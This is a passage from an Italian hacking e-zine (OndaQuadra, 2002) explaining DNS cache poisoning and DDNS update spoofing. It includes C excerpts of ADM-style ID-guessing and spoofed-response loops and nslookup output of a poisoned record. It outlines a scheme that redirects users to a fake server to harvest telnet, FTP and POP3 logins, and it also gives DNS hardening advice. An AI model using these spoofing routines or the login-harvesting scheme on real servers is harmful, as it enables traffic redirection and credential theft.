| a DNS_VITTIMA usando come indirizzo sorgente DNS_TRUST, e contenente |
| ad esempio: RAND_TRUST. IN A FAKE_IP2 |
| In questo modo si cerca di inserir nella cache del DNS_VITTIMA il RR |
| sopra esposto (se l'ID e' compreso nel range ID -> ID-10 ). |
| |
| /* start source example */ |
| |
| ID=loop; |
| for(;loop >= ID-10 ;loop--){ |
| dns->id = htons(loop); |
| dns->qr = 1; |
| dns->rd = 1; |
| dns->aa = 1; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(1); |
| |
| i=makepaketAW(data,RAND_TRUST,FAKE_IP2,TYPE_A); |
| udp_send(sraw,DNS_TRUST,DNS_VITTIMA,53,53,buffer2,DNSHDRSIZE+i); |
| } |
| |
| /* end source example */ |
| |
| L'ID in questo tool e' rappresentato da argv[9] e puo' essere |
| omesso.Nel caso in cui fosse omesso partira' dal massimo valore che, |
| dato che il campo e' di 2byte->16bit->2^16, ammontera' a 65536. |
| Converrebbe sapere all'incirca intorno a che cifra ammonta..per |
| sveltezza, comodita' e...delicatezza |
| |
| 3) Viene quindi inviata una richiesta di risoluzione dell'hostname |
| RAND_TRUST al server vittima DNS_VITTIMA, utilizzando come indirizzo |
| sorgente l'ip dell'host dell'attacker ATTACKER (chiaro visto che la |
| richiesta viene inviata via SOCK_DGRAM e non tramite SOCK_RAW..). |
| In questo modo chiediamo a DNS_VITTIMA se RAND_TRUST ha un indirizzo |
| IP (quindi se il caching/poisoning e' stato effettuato). |
| |
| /* start source example */ |
| |
| dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); |
| void dns_qs_no_rd(int s,u_long d_ip,char *wwwname,int ID) |
| { |
| struct dnshdr *dns; |
| char *data; |
| char buffer[1024]; |
| int i; |
| |
| dns = (struct dnshdr *)buffer; |
| data = (char *)(buffer+DNSHDRSIZE); |
| bzero(buffer,sizeof(buffer)); |
| |
| dns->id = htons(ID); |
| dns->qr = 0; |
| dns->rd = 0; /* dont want the recusion !! */ |
| dns->aa = 0; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(0); |
| i=makepaketQS(data,wwwname,TYPE_A); |
| senddnspkt(s,d_ip,wwwname,NULL,dns); |
| } |
| |
| /* end source example */ |
| |
| Per questa richiesta non viene utilizzata la modalita' ricorsiva |
| (come precisamente indicato) bensi' la modalita' iterativa. Questo |
| in quanto se la cache di DNS_VITTIMA non dovesse contenere niente |
| a riguardo di RAND_TRUST non si vuole che il server vittima proceda |
| a chiedere da lui ancora la risoluzione a DNS_TRUST trovando |
| l'attacker impreparato a fornire risposte falsate/corrette. |
| |
| 4) A questo punto si attende una risposta da parte di DNS_VITTIMA. |
| Questa potra' avere 3 differenti caratteristiche, con 3 differenti |
| strade da intraprendere: |
| - nessuna risposta |
| - risposta arrivata ma campo data/answers vuoto |
| - risposta arrivata e campo data/answers contenente dati |
| |
| Nel caso in cui non si riceva nessuna risposta entro 3 secondi viene |
| reinviata la richiesta di risoluzione vista nel punto precedente. |
| |
| /* start source example */ |
| |
| for(timez=0;timez < TIMEOUT; timez++){ |
| if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *) \ |
| ,) != -1 ) |
| { |
| printf("ok whe have the reponse ;)\n"); |
| timez = 0; |
| break; |
| } |
| usleep(10); |
| timez++; |
| } |
| if(timez != 0){ |
| printf("hum no reponse from the NS ressend question..\n"); |
| dns_qs_no_rd(s_r,DNS_VITTIMA,RAND_TRUST,myrand()); |
| } |
| |
| /* end source example */ |
| |
| Nel caso invece che arrivi una risposta ma con campo data/answers |
| vuoto ricominciera' il ciclo intero modificando il range di ID. |
| |
| if(sin_rcp.sin_addr.s_addr == DNS_VITTIMA ) |
| if(sin_rcp.sin_port == htons(53) ) |
| { |
| if( dns_recv->qr == 1 ) |
| if( dns_recv->rep_num == 0 ) |
| /* hum we dont have found the right ID */ |
| printf("try %i < ID < %i \n",ID-10,ID); |
| |
| Nel caso in cui invece l'attacker fosse stato fortunato, vedra' |
| comparire a video la stringa: |
| |
| "the DNS ID of DNS_VITTIMA iz ID-20 < ID < ID-10 !! |
| let's send the spoof..." |
| |
| A questo punto vien ad apparire la funzione cool di questo capitolo: |
| |
| dnsspoof(SPOOF_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,loop,TYPE); |
| |
| ovvero la funzione che completera' l'attacco di caching/poisoning. |
| La funzione provvedera' ad inviare 4 volte una richiesta di |
| risoluzione da FAKE_IP3 a DNS_VITTIMA per SPOOFNAME. |
| Quindi provvedera' per 2 volte ad inviare 80 response da SPOOF_TRUST |
| a DNS_VITTIMA con la stringa "SPOOFNAME. IN A SPOOFIP", con ID |
| incrementale a partire da ID-20. SPOOF_TRUST e' il DNS server che ha |
| autorita' sul dominio di spoofname. |
| |
| /* start source example */ |
| |
| void dnsspoof(char *dnstrust,char *victim,char *spoofname, \ |
| char *spoofip,int ID,int type) |
| { |
| [snip] |
| /* send question ... */ |
| if( type == TYPE_PTR) |
| for(loop=0;loop<4;loop++) |
| sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFIP,type); |
| |
| if( type == TYPE_A) |
| for(loop=0;loop<4;loop++) |
| sendquestion(FAKE_IP3,DNS_VITTIMA,SPOOFNAME,type); |
| |
| /* now its time to awnser Quickly !!! */ |
| for(rere = 0; rere < 2;rere++){ |
| for(loop=0;loop < 80;loop++){ |
| printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type \ |
| %i\n",DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); |
| sendawnser(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,ID+loop,type); |
| } |
| } |
| } |
| |
| /* end source example */ |
| |
| A questo punto l'attacker si potra' ritenere fortunato.. e ad una |
| richiesta in user-space con ll fido nslookup si avra': |
| |
| [snhyper@Charlotte1:~] nslookup 31.3.3.7 ns.vittima.edu |
| Server: ns.vittima.edu |
| Address: x.x.x.1 |
| |
| Name: h4x0r.evil.com |
| Address: 31.3.3.7 |
| |
| oppure |
| |
| [snhyper@Charlotte1:~] nslookup h4x0r.evil.com ns.vittima.edu |
| Server: ns.vittima.edu |
| Address: x.x.x.1 |
| |
| Name: h4x0r.evil.com |
| Address: 31.3.3.7 |
| |
| ### SECONDO METODO ### |
| |
| Il secondo ed ultimo metodo in analisi e', come gia detto, il migliore; |
| puo' essere definito in questo modo perche' incorpora in un unico tool |
| un "DNS ID predictor" preciso ed un "DNS poisoner"..letale.. :P |
| Il requisito che pero' lo rende usato per lo piu' dagli attacker di un |
| certo livello e' la necessita' di una shell root su di un server DNS |
| autoritativo per un dominio, che di solito e' un server compromesso |
| a sua volta. La shell root e' necessaria per l'accesso alle raw socket |
| e per il binding sulle well-known ports (nel nostro caso la 53udp). |
| |
| Un tool che permette questo tipo di attacco e', ad esempio, ADMsnOOfID |
| sempre di shok degli ADM. |
| Anche questo tool della ADM crew si serve delle funzioni delle libpcap |
| ma in aggiunta permette attacco multi-interfaces dando la possibilita' |
| di specificare ppp+ o eth+. |
| |
| Anche in questo caso e' possibile analizzare l'algoritmo di attacco |
| schematizzandolo in 2 semplici passi principali: |
| |
| 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST |
| al dns server vittima DNS_VITTIMA usando come indirizzo sorgente |
| FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva |
| a cercare di risolvere il nome logico, arrivando a richiederlo a |
| DNS_TRUST. In questo caso pero' DNS_TRUST sara' l'host compromesso |
| sul quale l'attacker sfrutta una sh #. |
| |
| /* start source example */ |
| |
| sprintf(RAND_TRUST,"%d%d%d.%s",myrand(),myrand(),myrand(),DOM_TRUST) |
| dnssend->id = 2600; /* id fittizio */ |
| dnssend->qr = 0; |
| dnssend->rd = 1; |
| dnssend->aa = 0; |
| dnssend->que_num = htons(1); |
| dnssend->rep_num = htons(0); |
| i = makepaketQS(data2,RAND_TRUST,TYPE_A); |
| udp_send(sraw,FAKE_IP1,DNS_VITTIMA,2600+con,53,buffer2,DNSHDSIZE+i); |
| |
| /* end source example */ |
| |
| 2) A questo punto si attende con una pcap_next() in un ciclo di while |
| la venuta della fatidica query che dara' in pasto l'ID all'attacker. |
| Con qualke construtto di if si vaglia se il pacchetto ha protocollo |
| udp,poi se l'IP sorgente e' quello di DNS_VITTIMA e il destinatario |
| e' DNS_TRUST, se la porta di destinazione e' la 53 ed infine se il |
| campo QR e' settato a 0 (indicando che il DNS packet e' una query). |
| Nel caso in cui un ciclo dovesse saltare, si ricomincia da capo da |
| questo punto (reinizia il while). |
| Nel caso invece che il pacchetto rispetti tutte le condizioni, e che |
| quindi sia la query attesa, viene subito preso l'ID del pacchetto |
| e fatta scattare la gia' vista funzione dnsspoof() che portera' a |
| completamento l'attacco di posioning/caching. |
| |
| /* start source example */ |
| |
| if(ip->protocol == 17 ) |
| if(ip->saddr.s_addr == DNS_VITTIMA ) |
| if(ip->daddr.s_addr == DNS_TRUST )
|
| if(udp->dest == htons(53) ) |
| if(dnsrecv->qr == 0 ) { |
| |
| ID = dnsrecv->id ; /* preso l'ID */ |
| DA_ID = ntohs(ID); |
| |
| dnsspoof(DNS_TRUST,DNS_VITTIMA,SPOOFNAME,SPOOFIP,DA_ID,type); |
| |
| /* end source example */ |
| |
| A questo punto un semplice test con nslookup verifichera' il |
| successo dell'attacco o meno. |
| |
| }; |
| |
| -sub_G() DDNS update spoofing: { |
| |
| Da non molto tempo ha fatto comparsa il cosiddetto DDNS, ovvero il |
| Dynamic DNS, che ha subito allargato la propria zona di influenza |
| sul mercato di internet per i suoi vantaggi. |
| Il DDNS permette update di RRs, singoli o in set, dinamicamente con |
| un pacchetto di update senza mettere mano ai file di configurazione. |
| Chiaramente i portali che offrono servizi di url-redirection, |
| "third-level domain" etc.. ne hanno subito fatto uso permettendo ai |
| propri utenti registrati di fare update dinamici di propri sottodomini |
| e di mapparli sul proprio IP, che non deve necessariamente essere |
| statico. Da quando questo servizio ha preso piede si vedono infatti |
| molti personaggi che "circolano" soprattutto su irc con host del tipo: |
| 31337.h4x0r.d00d.homelinux.org e vari..,talvolta spacciando un semplice |
| update di RR in un vhost hackato.. |
| |
| In ogni caso anche il protocollo DDNS presenta dei bachi che permettono |
| un update incontrollato di RRs e RRset,minacciando ancora una volta la |
| sicurezza di quelle aziende che se ne servono per lavoro. |
| |
| Un tool che dimostra questo attacco e', ad esempio, ddns_spoofer di |
| awacs dei 3xT. Requisito per il completamento di questo tipo di attacco |
| e' la conoscenza dell'owner del RR, senza il quale risulta impossibile |
| completare un update. |
| |
| Le azioni che sono permesse via DDNS sono: |
| - Aggiunta di un RR o piu' ad un RRset |
| - Eliminazione di un RRset |
| - Eliminazione di tutti i RRset da un nome |
| - Eliminazione di un RR da un RRset |
| |
| e sono distinte dal contenuto dei campi principali nel seguente modo: |
| |
| CLASS TYPE RDATA significato |
| ------------------------------------------------------------------ |
| ANY ANY vuoto Eliminazione di tutti i RRset da un nome |
| ANY rrset vuoto Eliminazione di un RRset |
| NONE rrset rr Eliminazione di un RR da un RRset |
| zone rrset rr Aggiunta di un RR |
| |
| |
| Un update message puo' essere schematizzato nel seguente modo: |
| |
| +---------------------+ |
| | Header | |
| +---------------------+ |
| | Zone | |
| +---------------------+ |
| | Prerequisite | RRs or RRsets which must (not) preexist |
| +---------------------+ |
| | Update | RRs or RRsets to be added or deleted |
| +---------------------+ |
| | Additional Data | additional data |
| +---------------------+ |
| |
| header -> e' il classico dns header modificato per indicare la |
| tipologia di update che si sta compiendo, ed altre flags. |
| |
| zone -> specifica la zona nella quale fare l'update |
| |
| Prereq. -> RRs o RRsets che devono/non devono esistere |
| |
| Update -> RRs o RRsets da aggiungere o da eliminare |
| |
| Add.data-> dati aggiuntivi per completare l'update |
| |
| E' facile intuire come, avendo a disposizione il RRset di riferimento |
| e l'owner del RRset, non sia complicato costruire un update message |
| spoofato in modo da aggiungere o eliminare RR/RRset da un DNS database. |
| |
| Leggere il sorgente di ddns_spoofer e la rfc2136 permette di farsi una |
| idea su come non sia affatto semplice gestire un DDNS server e su come |
| sia possibile evadere anche le nuove feature di Bind > 8.x quali le |
| ACL allow-update etc.. |
| |
| }; |
| |
| |
| 0x07) Protezione server DNS |
| |
| -sub_A() Macchine posix (*nix,*BSD): { |
| |
| Gli attacchi ai server dns hanno preso successo in poco tempo e, dato |
| che non e' certo piacevole per un sysadmin vedersi fregato in questo |
| modo, vediamo di applicare poche semplici regole che permettono di |
| hardenizzare in giusto modo un server DNS, tanto da potersi ritenere |
| sicuri in questo campo. |
| |
| Il primo passo sta nel scegliere la versione da utilizzare.. questo |
| e' soggettivo. Io non utilizzerei piu' il ramo 4.x.x in quanto ormai |
| obsoleto e poco sicuro anche se ancora molto utilizzato. |
| Per chi e' del filone di quelli che pensano che "troppo nuovo == troppo |
| pericoloso" stare sull'8.x ...se no buttarsi sulla nuova 9.x che sembra |
| molto valida (ad eccezione del bug con DoS patchabilo di cui ho parlato |
| prima). |
| |
| In seconda, usare un server dedicato e hardenizzato come Internet DNS, |
| senza relazioni trusted hosts e senza permettere login di utenti. |
| Un numero minimo di users e servizi sul server significa un minor |
| utilizzo di software che potrebbe esporre il server ad attacchi. |
| Inoltre il fatto di non essere in una rete di trusted hosts e di essere |
| in una rete separata (ad esempio in una DMZ) riduce il rischio di |
| intrusione dall'interno. |
| |
| Valutare una possibile sistemazione in ridondanza in modo tale che |
| se uno dei due server dovesse cadere sotto attacco, la rete rimarrebbe |
| comunque su e funzionante. Nel momento in cui si verificasse un crollo |
| di uno dei due Bind, una mail all'admin o un sms (piu' tempestivo, |
| fattibile con software apposito tipo gnoki) non sarebbe male..e crearsi |
| uno script che faccia cio' e' abbastanza semplice. |
| |
| Come spiegato alla voce "sub_B()" permettere i trasferimenti di zona |
| solamente agli IP autorizzati. |
| Inoltre usare le nuove feature di Bind quali TSIG, per avere una |
| Transaction SIGnature di autenticazione zone transfer. |
| |
| Avere un sistema di DNS basato su ACL. La possibilita' di settare |
| delle ACL quali allow-query, allow-transfer, allow-update viene |
| solo da Bind 8.x. |
| |
| Cercare di eliminare gli attacchi di IP spoofing settando le apposite |
| feature quali xfernets, ACL in modo intelligente. |
| Oltre a cio' e' necessario stabilire regole precise sui vari firewalls, |
| gateway,IDS,routers..etc.. |
| |
| Usare il sistema di split-brain servers. Il sistema consiste in due |
| dns server separati e tipicamente: |
| un dns al di fuori della rete e del firewall che fornira' servizio e |
| record MX al web server, dialoghera' con gli altri name server e con |
| gli altri servizi offerti dalla rete. |
| L'altro dns all'interno della rete e del firewall fornira' servizio |
| per la rete interna. |
| |
| Utilizzare DNSSec per avere complicare notevolmente qualsiasi |
| tentativo di attacco. |
| |
| Vietare, o permettere solo previo accertamento con ACL, le richieste |
| ricorsive. Per fare cio' basta inserire in named.conf la stringa: |
| recursion no; |
| |
| Far girare Bind con il minimo dei privilegi ( di solito named ) e con |
| una corretta umask. |
| |
| Far girare Bind chrootato. In questo modo diventa difficile in caso di |
| compromissione danneggiare il sistema operativo o invadere altri hosts. |
| |
| Non accettare nessuna informazione per la quale il server querato e' |
| autoritativo. |
| |
| Accettare solo la prima risposta RR di un pacchetto per fare in modo |
| di non accettare involontariamente informazioni aggiuntive falsate. |
| |
| Non mostare la versione di Bind utilizzata (BIND.VERSION in chaos). |
| Per nascondere la versione basta inserire nel file di configurazione |
| named.conf la stringa: |
| version "DNS server"; |
| |
| Monitorare i log per cercare attivita' sospette. |
| |
| Infine, importantissimo passo e spesso causa di intrusioni, stare |
| sempre aggiornati riguardo nuovi bugs e patchare sempre. |
| |
| Altre informazioni su come hardenizzare un dns server le trovate in |
| rete o nel valido paper in slide di Cricket Liu di VerySign |
| "securing_an_internet_name_server.pdf". |
| |
| }; |
| |
| -sub_B() Macchine win: { |
| |
| Per Windoze valgono anche molte delle info precedentemente esposte per |
| i sistemi posix. |
| In aggiunta: |
| |
| per WindozeNT 4.0 da SP4, un server DNS NT based puo' filtrare le |
| response non sicure. Per abilitare questa feature: |
| -avviare il Registry Editor (regedt32.exe); |
| -cercare la seguente chiave: |
| HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters |
| -Dal menu Edit, selezionare Add Value e immettere i seguenti dati: |
| Value Name : SecureResponses |
| Data Type : REG_DWORD |
| Value : 1 (Per eliminare i dati non sicuri) |
| -chiudere il Registry Editor. |
| |
| Di default questa chiave non esiste e quindi i dati insicuri non |
| sono eliminati dalle response. |
| Per info su questa feature guardare nel Microsoft Knowledge Base: |
| http://support.microsoft.com/default.aspx?scid=kb;en-us;Q198409 |
| |
| Su Windoze2000 invece e' possibile fare la stessa cosa anche via GUI: |
| -aprire il DNS Management Console cliccando su start->programs-> |
| administrative tools->DNS |
| -cliccare col destro sul nome del server nella finestra a sinistra |
| -selezionare properties |
| -scegliere la linguetta advanced |
| -chekkare la casella "Secure cache against pollution". |
| |
| }; |
| |
| |
| 0x08) Progetto AmPaRo |
| |
| Il progetto AmPaRo e' un "plug-in" di un attacco di DNS poisoning |
| caching o di DDNS update spoofing. |
| E' l'incarnazione di un fake server dinamico che permette di prendere |
| i login(user,passwd) di utenti dopo una redirezione. Vediamo come |
| puo' essere schematizzato l'intero processo: |
| |
| Processo normale: |
| |
| 1) vittima$ telnet serv.vittima.edu |
| /* Vittima richiede connessione telnet all'indirizzo SER_VITTIMA */ |
| |
| 2) Avendo usato per la connessione telnet un hostname FDQN al posto di |
| un IP address,il sistema si preoccupera' di cercar il corrispondente |
| ip address secondo le note procedure di ricerca tabellare nei DNS |
| in modalita' ricorsiva e/o iterativa come spiegato nella sezione |
| iniziale |
| |
| 3) Il sistema vedra' ritornare da DNS_VITTIMA un record del tipo: |
| |
| serv.vittima.edu. IN A x.x.x.x |
| |
| 4) Telnet iniziera' il 3way Handshake con serv.vittima.edu, scambiera' |
| le classiche richieste di option,feature e nvt compliancy (DO/DON'T- |
| WILL/WON'T),quindi si vedra' tornare il classico banner del server |
| ed il prompt di login. |
| |
| 5) La vittima effettuera' il login normalmente, fara' i suoi lavori.. |
| |
| 6) La vittima (o il server) chiudera' la connessione. |
| |
| |
| Processo AmPaRo: |
| |
| 1) vittima$ telnet serv.vittima.edu |
| /* Vittima richiede connessione telnet all'indirizzo SER_VITTIMA */ |
| |
| 2) Avendo usato per la connessione telnet un hostname FDQN al posto di |
| un IP address,il sistema si preoccupera' di cercar il corrispondente |
| ip address secondo le note procedure di ricerca tabellare nei DNS |
| in modalita' ricorsiva e/o iterativa come spiegato nella sezione |
| iniziale |
| |
| 3) Il sistema vedra' ritornare da DNS_VITTIMA un record del tipo: |
| |
| serv.vittima.edu. IN A x.x.x.5 |
| |
| 4) Telnet iniziera' il 3way Handshake con serv.vittima.edu, scambiera' |
| le classiche richieste di option, feature e nvt compliancy(DO/DON'T- |
| WILL/WON'T),quindi si vedra' tornare il classico banner del server |
| ed il prompt di login. |
| |
| 5) La vittima effettuera' il login normalmente. |
| |
| 6) Il server potrebbe rispondere con un banner indicante impossibilita' |
| temporanea di usufruire del server per qualche minuto per problemi |
| tecnici o altro (qui sovviene il campo TTL dell'header dns..) |
| |
| 7) Il server chiudera' la connessione |
| |
| Vantaggi: |
| |
| - Applicabilit? a diversi protocolli e sistemi che abbiano in comune la |
| richiesta di autenticazione non crittografata , quindi ad esempio |
| Telnet - Ftp - Pop3 - Imap etc.. nonche' routers etc.. |
| Certamente per un router la strategia cambiera' in quanto oltre alla |
| redirezione dell'host ed al fake server dinamico, dovremmo occuparci |
| di forwardare i pacchetti in ricezione ad un altro router stando |
| attenti di non creare un packets loop (anche se esistono algoritmi |
| appositi come split horizon etc.., e il campo TTL dell'header IP che |
| non consente + di tot hop a seconda dell'OS). |
| |
| |
| Svantaggi: |
| |
| - Non applicabilit? a tutti i sistemi in quanto il poisoning/spoofing |
| dei record DNS e' stato messo sotto controllo in differenti modi: |
| * Double inverse lookup, ovvero (contrassegnato da "@"): |
| |
| + server riceve connessione dall'indirizzo 192.168.5.5 (ATTACKER) |
| + server richiede una risoluzione reverse lookup per l'indirizzo: |
| |
| 5.5.168.192.in-addr.arpa. PTR ? |
| |
| + server ricever? l'hostname corrotto: |
| |
| 5.5.168.192.in-addr.arpa. PTR remote.firm.com. |
| |
| @ server rifar? una richiesta per: |
| |
| remote.firm.com. A ? |
| |
| @ server ricever? l'hostname reale: |
| |
| remote.firm.com. A 192.168.4.4 |
| |
| @ server controller? l'eguaglianza dei due ip ricevuti: |
| |
| 192.168.4.4 == 192.168.5.5 ? OK : KO |
| |
| Questo svantaggio sarebbe risolvibile non difficilmente avvelenando |
| anche il record A ( oltre al PTR) in modo da avere due risultati |
| identici anche con il double inverse lookup. |
| L'unica difficolta' e' che spesso e volentieri per sicurezza, |
| i database per il reverse lookup vengono posti su un altro server; |
| Cio' implicherebbe la compromissione anche dell'altro server, o |
| l'iniezione di una record nel campo Additional con il record voluto, |
| sperando che il server accetti e non controlli quel campo. |
| |
| - Altro problema, in questo caso di complessa soluzione, che per |
| fortuna e' quasi impossibile da bypassare, e' il possibile utilizzo |
| del DNSSec, implementazione per i pacchetti DNS del valido IPSec |
| usato spesso nelle VPN in concomitanza con IKE. |
| DNSSEC oltre a crittografare gli header dns con DES mediante uso di |
| chiave privata (algoritmo simmetrico), aggiunge diverse opzioni per |
| il controllo dei dati e rende pienamente statefull la connessione in |
| modo da avere traccia delle query e dei response. |
| |
| - In aggiunta soggiunge la patch dello SNI, creata appena dopo aver |
| scoperto la vulnerabilita' proprio da loro, che implementa una |
| randomizzazione dei query/response ID in modo da rendere molto piu' |
| complesso l'indovinare il numero di sequenza, che nelle versioni di |
| Bind piu' obsolete della 4.9.6 e 8.1.1 (anch'esse comunque |
| vulnerabili a diversi attacchi) viene facilmente predetto in quanto |
| aumenta di 1 ad ogni query. Bind 9.x comprende gia' questa patch. |
| |
| Il progetto AmPaRo coesiste con il presente testo anche senza farne |
| parte. Il tar.gz con i sorgenti e vari si trova in development e sara' |
| disponibile al piu' presto..nei migliori negozi di giocattoli.. :P |
| |
| |
| 0x09) Greetings and Byez: |
| |
| to: Raoul(Nobody),FuSyS, Nail, Tritemius, Vecna, Recidjvo, Naif, |
| Dark-Angel,xenion,(ml && devel)@sikurezza.org,#sikurezza, |
| #ondaquadra and #hackmaniaci. Bfi-Ondaquadra-Phrack e-zines. |
| W.R.Stevens, B.Kernigham and D.Ritchie and..anyone who wants. |
| |
| special dudes ( ;P ): inquis, bitflesh, sgrakkyu |
| |
| |
| 0x0A) Resources |
| |
| 1][RFC1034] Mockapetris, P., "Domain Names - Concepts and |
| Facilities", STD 13, RFC 1034, USC/Information Sciences |
| Institute, November 1987. |
| |
| 2][RFC1035] Mockapetris, P., "Domain Names - Implementation and |
| Specification", STD 13, RFC 1035, USC/Information Sciences |
| Institute, November 1987. |
| |
| 3][RFC1183] Everhart, C., Mamakos, L., Ullmann, R., and P. Mockapetris, |
| Editors, "New DNS RR Definitions", RFC 1183, Transarc, |
| University of Maryland, Prime Computer, USC/Information |
| Sciences Institute, October 1990. |
| |
| 4][RFC1706] Manning, B., and R. Colella, "DNS NSAP Resource Records", |
| RFC 1706, USC/ISI and NIST, October 1994. |
| |
| 5][RFC1712] Farrell, C., M. Schulze, B. Pleitner, and D. Baldoni, "DNS |
| Encoding of Geographical Location", RFC 1712, Curtin |
| University of Technology, October 1994. |
| |
| 6][RFC1995] Ohta, M., "Incremental Zone Transfer in DNS", RFC 1995, |
| Tokyo Institute of Technology, August 1996. |
| |
| 7][RFC1996] Vixie, P., "A Mechanism for Prompt Notification of Zone |
| Changes (DNS NOTIFY)", RFC 1996, ISC, August 1996. |
| |
| 8][RFC2052] Gulbrandsen, A., and P. Vixie, "A DNS RR for Specifying the |
| Location of Services (DNS SRV)", RFC 2052, Troll |
| Technologies, Vixie Enterprises, October 1996. |
| |
| 9][RFC2065] Eastlake, D., and C. Kaufman, "Domain Name System Security |
| Extensions", RFC 2065, CyberCash, Iris, January 1997. |
| |
| 10][RFC2136] Vixie, P., S. Thomson, Y. Rekhter, and J. Bound, "Dynamic |
| Updates in the Domain Name System (DNS UPDATE) Dynamic |
| Updates in the Domain Name System (DNS UPDATE), RFC 2136, |
| ISC, Bellcore, Cisco, DEC, April 1997. |
| |
| 11][RFC2163] Allocchio, C., "Using the Internet DNS to Distribute MIXER |
| Conformant Global Address Mapping (MCGAM)", RFC 2163, |
| GARR-Italy, July 1977. |
| |
| 12][RFC2168] R. Danie1, M. Mealling., "Resolution of Uniform Resource |
| Identifiers using the Domain Name System", RFC 2168, Los |
| Alamos National Laboratory, Network Solutions, Inc., |
| June 1997. |
| |
| 13][RFC2230] Atkinson,R., "Key Exchange Delegation Record for the DNS", |
| RFC 2230, NRL, October 1997. |
| |
| 14] URL: http://www.sunworld.com/swol-11-1997/swol-11-bind.html |
| (22 July, 2000). |
| |
| 15] Network Ice Corporation. "dig." |
| http://www.netice.com/advice/Reference/Tools/dig/default.htm |
| (22 July,2000) |
| |
| 16] Mr.DNS."Restricting zone transfers in BIND 4.9.x with the xfernets |
| directive." URL: http://acmebw.com/askmrdns/00031.htm |
| (22 July, 2000). |
| |
| 17] Matt Larson and Cricket Liu. "Using BIND: Don't get spoofed again: |
| Learn how to secure your Internet domain name servers." |
| June 5, 2000. |
| |
| 18] Network Ice Corporation. "DNS Zone Transfer." |
| URL: http://www.netice.com/advice/intrusions/2000401 |
| (22 July,2000). |
| |
| 19] Spitzner, Lance. "Know Your Enemy." 21 July 2000. |
| URL: http://www.enteract.com/~lspitz/enemy.html |
| (21 July, 2000). |
| |
| 20] Network Ice Corporation. "Split-DNS" |
| URL:http://www.netice.com/advice/Services/Directory/DNS/ -> |
| split-DNS/default.htm |
| 22 July, 2000). |
| |
| |
| 0x0B) GPG Key |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| Version: GnuPG v1.0.7 (GNU/Linux) |
| |
| mQGiBD2G/ocRBACODjOoWbKAQMlivZtL1aqMrlBxu7J38/Cn5Fj7atnfovKYQDmS |
| EsJJ1lOduWjnBhNVfORk59pVmjxRigAYcGQKSEuHmuwY+U8DFWxs/kBba5Afh02D |
| y+ZuF5smF4zlPhZN90uIgVBZjjE41dCtxsZUT+TABPpO9jaTpq5FFf+gjwCgkJvL |
| yJ1Z9peewFYiE4bsZAVNU8UD/13SNgCs0gJaQ8wmgbUO+6CPd5O+iGf9cRdH9WS3 |
| padzF7RV6SPF42UtxyhjrKYuTvrD+1BztBHLCU3IIzMkk9vQqK5FBMSwJfy46FED |
| +/EqbtcE59oOZrZog1iTNJ/xbqnRtwiMbmHEeeGwnzSwzCavIWkVRgDCipCIZWmn |
| ykIYA/sGejiym67W91uaVfFQG5Gj22tvFIf/PtmTdEJkcEjhVTu60I3EujtLg9tT |
| k58j1NEC51r0dQdpVjYr1l0jOdEUyq1gnJjAmLJrZcV+1AtFhlw9Cfzt/Md/GeJR |
| W2NcipI84sIfP0XLi0DUD/qxnhoHqRPsTON9VbSgwc3CifYZOrQgU05IWVBFUiA8 |
| c25oeXBlckBvbmRhcXVhZHJhLm9yZz6IWQQTEQIAGQUCPYb+hwQLBwMCAxUCAwMW |
| AgECHgECF4AACgkQH/9PHJrVgDKrpQCeObSXOI03S9QkJU4UtyDjZbmh74oAn2Ds |
| NevNimBAb53FrDK+LGiQbOOCuQENBD2G/owQBADw6fsNFbaBlwV/llAd/0jmUAym |
| o+tei3G9JiPRgcCO9eVJvUADsvVU+8NbfJQV3sI3AJsuUb4TEdjhwQDokrbgNGDT |
| 2vuZWsr4jJoz2TH5Lpgcdoe3q9pMzuDR5pa0EpQ7HlfePqlkAan+niqRH1+YPZYr |
| sF06ec4nL2gqJNyO0wADBgQAl9VoYKW0IIE3dIr+vdAfI1X5h1KSbHrMzHD6UZu2 |
| YgOV/DT7ULRnjxZqi2R6YNirbk5lp3xtgy0grN24hNCt7Qs3ZoSKEGOxrt6uGav2 |
| IL+YbtKdq/kGpcVMRqm3Ah9Rm1wn+KZ8nAY0FHL87VPr2els7J2kAlnNKSboVmu4 |
| CByIRgQYEQIABgUCPYb+jAAKCRAf/08cmtWAMk3qAJ4wrJyNZ8TT2K0SAymcpGAT |
| ZpH72QCbBth8Z/SpnLi/H3ZrHTfHotgJv9A= |
| =naJY |
| -----END PGP PUBLIC KEY BLOCK----- |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #08 - 01/11/2002 |
| iP R0UTiNG ATTACK [eazy] 0x06/0x1A |
+--------------------------------------------------------------------------+
| |
| 1. IP Routing Principles |
| |
| 2. IP Routing Attack |
| 2.1 ICMP Redirect |
| 2.2 ICMP Router Discovery |
| 2.3 Source Ruoting |
| 2.4 DHCP Spoofing |
| 2.5 HSRP e VRRP |
| |
| 3. Risorse |
| |
| |
| |
| 1. IP Routing Principles |
| |
| Il processo che permette la consegna non garantita dei pacchetti tra |
| host appartenenti a reti differenti è conosciuto con il nome di routing |
| (o instradamento). |
| Questa funzione è quasi interamente affidata al protocollo IP il quale |
| fornisce un servizio non garantito e non finalizzato alla connessione ai |
| protocolli di livello superiore dello stack TCP/IP. |
| Per non garantito si intende che non fornisce alcuna garanzia che il |
| pacchetto giunga a destinazione, mentre per non finalizzato alla |
| connessione si intende che non memorizza alcun tipo di riferimento |
| riguardo ai datagrammi inviati e non vi è alcuna dipendenza tra di essi. |
| Ogni host che si avvalga del TCP/IP per comunicare in rete può agire |
| principalmente in due maniere: |
| |
| - host: invia e riceve pacchetti che hanno come sorgente o come |
| destinazione la propria stazione, si tratta della modalità di |
| funzionamento riscontrabile nella stragrande maggioranza dei casi (es. |
| il proprio computer di casa di norma agisce come semplice host); |
| |
